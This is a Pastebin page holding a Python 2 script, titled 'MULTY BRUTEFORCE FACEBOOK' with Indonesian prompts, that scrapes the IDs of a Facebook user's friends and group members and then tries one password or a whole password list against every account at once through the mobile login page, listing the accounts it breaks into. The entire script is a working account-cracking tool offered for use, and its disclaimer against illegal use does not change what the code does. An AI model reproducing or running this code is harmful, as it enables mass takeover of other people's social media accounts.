RyukiChan

Mbf

Aug 14th, 2018
103
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 10.47 KB | None | 0 0
  1. from __future__ import print_function
  2. import platform,os
  3. def tampil(x):
  4.     w = {'m':31,'h':32,'k':33,'b':34,'p':35,'c':36}
  5.     for i in w:
  6.         x=x.replace('\r%s'%i,'\033[%s;1m'%w[i])
  7.     x+='\033[0m'
  8.     x=x.replace('\r0','\033[0m')
  9.     print(x)
  10. if platform.python_version().split('.')[0] != '2':
  11.     tampil('\rm[!] kamu menggunakan python versi %s silahkan menggunakan versi 2.x.x'%v().split(' ')[0])
  12.     os.sys.exit()
  13. import cookielib,re,urllib2,urllib,threading
  14. try:
  15.     import mechanize
  16. except ImportError:
  17.     tampil('\rm[!]SepertiNya Module \rcmechanize\rm belum di install...')
  18.     os.sys.exit()
  19. def keluar():
  20.     simpan()
  21.     tampil('\rm[!]Keluar')
  22.     os.sys.exit()
  23. log = 0
  24. id_bteman = []
  25. id_bgroup = []
  26. fid_bteman = []
  27. fid_bgroup = []
  28. br = mechanize.Browser()
  29. br.set_handle_robots(False)
  30. br.set_handle_equiv(True)
  31. br.set_handle_referer(True)
  32. br.set_cookiejar(cookielib.LWPCookieJar())
  33. br.set_handle_redirect(True)
  34. br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(),max_time=1)
  35. br.addheaders = [('User-Agent','Opera/9.80 (Android; Opera Mini/32.0.2254/85. U; id) Presto/2.12.423 Version/12.16')]
  36. def bacaData():
  37.     global fid_bgroup,fid_bteman
  38.     try:
  39.         fid_bgroup = open(os.sys.path[0]+'/MBFbgroup.txt','r').readlines()
  40.     except:pass
  41.     try:
  42.         fid_bteman = open(os.sys.path[0]+'/MBFbteman.txt','r').readlines()
  43.     except:pass
  44. def inputD(x,v=0):
  45.     while 1:
  46.         try:
  47.             a = raw_input('\x1b[32;1m%s\x1b[31;1m:\x1b[33;1m'%x)
  48.         except:
  49.             tampil('\n\rm[!]Batal')
  50.             keluar()
  51.         if v:
  52.             if a.upper() in v:
  53.                 break
  54.             else:
  55.                 tampil('\rm[!]Masukan Opsinya Bro...')
  56.                 continue
  57.         else:
  58.             if len(a) == 0:
  59.                 tampil('\rm[!]Masukan dengan benar')
  60.                 continue
  61.             else:
  62.                 break
  63.     return a
  64. def inputM(x,d):
  65.     while 1:
  66.         try:
  67.             i = int(inputD(x))
  68.         except:
  69.             tampil('\rm[!]Pilihan tidak ada')
  70.             continue
  71.         if i in d:
  72.             break
  73.         else:
  74.             tampil('\rm[!]Pilihan tidak ada')
  75.     return i
  76. def simpan():
  77.     if len(id_bgroup) != 0:
  78.         tampil('\rh[*]Menyimpan hasil dari group')
  79.         try:
  80.             open(os.sys.path[0]+'/MBFbgroup.txt','w').write('\n'.join(id_bgroup))
  81.             tampil('\rh[!]Berhasil meyimpan \rcMBFbgroup.txt')
  82.         except:
  83.             tampil('\rm[!]Gagal meyimpan')
  84.     if len(id_bteman) != 0:
  85.         tampil('\rh[*]Menyimpan hasil daftar Teman...')
  86.         try:
  87.             open(os.sys.path[0]+'/MBFbteman.txt','w').write('\n'.join(id_bteman))
  88.             tampil('\rh[!]Berhasil meyimpan \rcMBFbgteman.txt')
  89.         except:
  90.             tampil('\rm[!]Gagal meyimpan')
  91. def buka(d):
  92.     tampil('\rh[*]Membuka \rp'+d)
  93.     try:
  94.         x = br.open(d)
  95.         br._factory.is_html = True
  96.         x = x.read()
  97.     except:
  98.         tampil('\rm[!]Gagal membuka \rp'+d)
  99.         keluar()
  100.     if '<link rel="redirect" href="' in x:
  101.         return buka(br.find_link().url)
  102.     else:
  103.         return x
  104. def login():
  105.     global log
  106.     us = inputD('[?]Email/HP')
  107.     pa = inputD('[?]Kata Sandi')
  108.     tampil('\rh[*]Sedang Login....')
  109.     buka('https://m.facebook.com')
  110.     br.select_form(nr=0)
  111.     br.form['email']=us
  112.     br.form['pass']=pa
  113.     br.submit()
  114.     url = br.geturl()
  115.     if 'save-device' in url or 'm_sess' in url:
  116.         tampil('\rh[*]Login Berhasil')
  117.         buka('https://mobile.facebook.com/home.php')
  118.         nama = br.find_link(url_regex='logout.php').text
  119.         nama = re.findall(r'\((.*a?)\)',nama)[0]
  120.         tampil('\rh[*]Selamat datang \rk%s\n\rh[*]Semoga ini adalah hari keberuntungan mu....'%nama)
  121.         log = 1
  122.     elif 'checkpoint' in url:
  123.         tampil('\rm[!]Akun kena checkpoint\n\rk[!]Coba Login dengan opera mini')
  124.         keluar()
  125.     else:
  126.         tampil('\rm[!]Login Gagal')
  127. def saring_id_teman(r):
  128.     for i in re.findall(r'/friends/hovercard/mbasic/\?uid=(.*?)&',r):
  129.         id_bteman.append(i)
  130.         tampil('\rc==>\rb%s\rm'%i)
  131. def saring_id_group1(d):
  132.     for i in re.findall(r'<h3><a href="/(.*?)fref=pb',d):
  133.         if i.find('profile.php') == -1:
  134.             a = i.replace('?','')
  135.         else:
  136.             a = i.replace('profile.php?id=','').replace('&amp;','')
  137.         if a not in id_bgroup:
  138.             tampil('\rk==>\rc%s'%a)
  139.             id_bgroup.append(a)
  140. def saring_id_group0():
  141.     global id_group
  142.     while 1:
  143.         id_group = inputD('[?]Id Group')
  144.         tampil('\rh[*]Mengecek Group....')
  145.         a = buka('https://m.facebook.com/browse/group/members/?id='+id_group+'&amp;start=0&amp;listType=list_nonfriend&amp;refid=18&amp;_rdc=1&amp;_rdr')
  146.         nama = ' '.join(re.findall(r'<title>(.*?)</title>',a)[0].split()[1:])
  147.         try:
  148.             next = br.find_link(url_regex= '/browse/group/members/').url
  149.             break
  150.         except:
  151.             tampil('\rm[!]Id yang anda masukan salah')
  152.             continue
  153.     tampil('\rh[*]Mengambil Id dari group \rc%s'%nama)
  154.     saring_id_group1(a)
  155.     return next
  156. def idgroup():
  157.     if log != 1:
  158.         tampil('\rh[*]Login dulu bos...')
  159.         login()
  160.         if log == 0:
  161.             keluar()
  162.     next = saring_id_group0()
  163.     while 1:
  164.         saring_id_group1(buka(next))
  165.         try:
  166.             next = br.find_link(url_regex= '/browse/group/members/').url
  167.         except:
  168.             tampil('\rm[!]Hanya Bisa Mengambil \rh %d id'%len(id_bgroup))
  169.             break
  170.     simpan()
  171.     i = inputD('[?]Langsung Crack (y/t)',['Y','T'])
  172.     if i.upper() == 'Y':
  173.         return crack(id_bgroup)
  174.     else:
  175.         return menu()
  176. def idteman():
  177.     if log != 1:
  178.         tampil('\rh[*]Login dulu bos...')
  179.         login()
  180.         if log == 0:
  181.             keluar()
  182.     saring_id_teman(buka('https://m.facebook.com/friends/center/friends/?fb_ref=fbm&ref_component=mbasic_bookmark&ref_page=XMenuController'))
  183.     try:
  184.         next = br.find_link(url_regex= 'friends_center_main').url
  185.     except:
  186.         if len(id_teman) != 0:
  187.             tampil('\rm[!]Hanya dapat mengambil \rp%d id'%len(id_bteman))
  188.         else:
  189.             tampil('\rm[!]Batal')
  190.             keluar()
  191.     while 1:
  192.         saring_id_teman(buka(next))
  193.         try:
  194.             next = br.find_link(url_regex= 'friends_center_main').url
  195.         except:
  196.             tampil('\rm[!]Hanya dapat mengambil \rp%d id'%len(id_bteman))
  197.             break
  198.     simpan()
  199.     i = inputD('[?]Langsung Crack (y/t)',['Y','T'])
  200.     if i.upper() == 'Y':
  201.         return crack(id_bteman)
  202.     else:
  203.         return menu()
  204. class mt(threading.Thread):
  205.     def __init__(self,i,p):
  206.         threading.Thread.__init__(self)
  207.         self.id = i
  208.         self.a = 3
  209.         self.p = p
  210.     def update(self):
  211.         return self.a,self.id
  212.     def run(self):
  213.         try:
  214.              data = urllib2.urlopen(urllib2.Request(url='https://m.facebook.com/login.php',data=urllib.urlencode({'email':self.id,'pass':self.p}),headers={'User-Agent':'Opera/9.80 (Android; Opera Mini/32.0.2254/85. U; id) Presto/2.12.423 Version/12.16'}))
  215.         except KeyboardInterrupt:
  216.             os.sys.exit()
  217.         except:
  218.             self.a = 8
  219.             os.sys.exit()
  220.         if 'm_sess' in data.url or 'save-device' in data.url:
  221.             self.a = 1
  222.         elif 'checkpoint' in data.url:
  223.             self.a = 2
  224.         else:
  225.             self.a = 0
  226. def crack(d):
  227.     i = inputD('[?]Pake Passwordlist/Manual (p/m)',['P','M'])
  228.     if i.upper() == 'P':
  229.         while 1:
  230.             dir = inputD('[?]Masukan alamat file')
  231.             try:
  232.                 D = open(dir,'r').readlines()
  233.             except:
  234.                 tampil('\rm[!]Gagal membuka \rk%s'%dir)
  235.                 continue
  236.             break
  237.         tampil('\rh[*]Memulai crack dengan \rk%d password'%len(D))
  238.         for i in D:
  239.             i = i.replace('\n','')
  240.             if len(i) != 0:
  241.                 crack0(d,i,0)
  242.         i = inputD('[?]Tidak Puas dengan Hasil,Mau coba lagi (y/t)',['Y','T'])
  243.         if i.upper() == 'Y':
  244.             return crack(d)
  245.         else:
  246.             return menu()
  247.     else:
  248.         return crack0(d,inputD('[?]Sandi'),1)
  249. def crack0(data,sandi,p):
  250.     tampil('\rh[*]MengCrack \rk%d Akun \rhdengan sandi \rm[\rk%s\rm]'%(len(data),sandi))
  251.     print('\033[32;1m[*]Cracking \033[31;1m[\033[36;1m0%\033[31;1m]\033[0m',end='')
  252.     os.sys.stdout.flush()
  253.     akun_jml = []
  254.     akun_sukses = []
  255.     akun_cekpoint = []
  256.     akun_error = []
  257.     akun_gagal = []
  258.     jml0,jml1 = 0,0
  259.     th = []
  260.     for i in data:
  261.         i = i.replace(' ','')
  262.         if len(i) != 0:th.append(mt(i,sandi))
  263.     for i in th:
  264.         jml1 += 1
  265.         i.daemon = True
  266.         try:i.start()
  267.         except KeyboardInterrupt:exit()
  268.     while 1:
  269.         try:
  270.             for i in th:
  271.                 a = i.update()
  272.                 if a[0] != 3 and a[1] not in akun_jml:
  273.                     jml0 += 1
  274.                     if a[0] == 2:
  275.                         akun_cekpoint.append(a[1])
  276.                     elif a[0] == 1:
  277.                         akun_sukses.append(a[1])
  278.                     elif a[0] == 0:
  279.                         akun_gagal.append(a[1])
  280.                     elif a[0] == 8:
  281.                         akun_error.append(a[1])
  282.                     print('\r\033[32;1m[*]Cracking \033[31;1m[\033[36;1m%0.2f%s\033[31;1m]\033[0m'%(float((float(jml0)/float(jml1))*100),'%'),end='')
  283.                     os.sys.stdout.flush()
  284.                     akun_jml.append(a[1])
  285.         except KeyboardInterrupt:
  286.             os.sys.exit()
  287.         try:
  288.             if threading.activeCount() == 1:break
  289.         except KeyboardInterrupt:
  290.             keluar()
  291.     print('\r\033[32;1m[*]Cracking \033[31;1m[\033[36;1m100%\033[31;1m]\033[0m     ')
  292.     if len(akun_sukses) != 0:
  293.         tampil('\rh[*]Daftar akun sukses')
  294.         for i in akun_sukses:
  295.             tampil('\rh==>\rk%s \rm[\rp%s\rm]'%(i,sandi))
  296.     tampil('\rh[*]Jumlah akun berhasil\rp      %d'%len(akun_sukses))
  297.     tampil('\rm[*]Jumlah akun gagal\rp         %d'%len(akun_gagal))
  298.     tampil('\rk[*]Jumlah akun cekpoint\rp      %d'%len(akun_cekpoint))
  299.     tampil('\rc[*]Jumlah akun error\rp         %d'%len(akun_error))
  300.     if p:
  301.         i = inputD('[?]Tidak Puas dengan Hasil,Mau coba lagi (y/t)',['Y','T'])
  302.         if i.upper() == 'Y':
  303.             return crack(data)
  304.         else:
  305.             return menu()
  306.     else:
  307.         return 0
  308. def lanjutT():
  309.     global fid_bteman
  310.     if len(fid_bteman) != 0:
  311.         i = inputD('[?]Riset Hasil Id Teman/lanjutkan (r/l)',['R','L'])
  312.         if i.upper() == 'L':
  313.             return crack(fid_bteman)
  314.         else:
  315.             os.remove(os.sys.path[0]+'/MBFbteman.txt')
  316.             fid_bteman = []
  317.     return 0
  318. def lanjutG():
  319.     global fid_bgroup
  320.     if len(fid_bgroup) != 0:
  321.         i = inputD('[?]Riset Hasil Id Group/lanjutkan (r/l)',['R','L'])
  322.         if i.upper() == 'L':
  323.             return crack(fid_bgroup)
  324.         else:
  325.             os.remove(os.sys.path[0]+'/MBFbgroup.txt')
  326.             fid_bgroup = []
  327.     return 0
  328. def menu():
  329.     tampil('''\rh
  330.                     .-.-..
  331.                    /+/++//
  332.                   /+/++//
  333.            \rk*   *\rh /+/++//
  334.             \ /  |/__//
  335.           {\rmX\rh}v{\rmX\rh}|\rcPRX\rh|==========.
  336.             [']  /'|'\          \\
  337.                 /  \ \          '
  338.                 \_  \_ \_    \rk*\rhDragonFly ZomBie
  339. \rk###########################################################
  340. #             \rb*MULTY BRUTEFORCE FACEBOOK*\rk                 #
  341. # \rhBY\rp                                             PIRMANSX \rk#
  342. # \rhGroup FB\rp  https://m.facebook.com/groups/164201767529837 \rk#
  343. # \rhGitHub\rp                      https://github.com/pirmansx \rk#
  344. #       \rmDo Not Use This Tool For IllegaL Purpose          \rk#
  345. ###########################################################''')
  346.     tampil('''\rk%s\n\rc1 \rhAmbil id dari group\n\rc2 \rhAmbil id dari daftar teman\n\rc3 \rmKELUAR\n\rk%s'''%('#'*20,'#'*20))
  347.     i = inputM('[?]PILIH',[1,2,3])
  348.     if i == 1:
  349.         lanjutG()
  350.         idgroup()
  351.     elif i == 2:
  352.         lanjutT()
  353.         idteman()
  354.     elif i == 3:
  355.         keluar()
  356. bacaData()
  357. menu()
Add Comment
Please, Sign In to add comment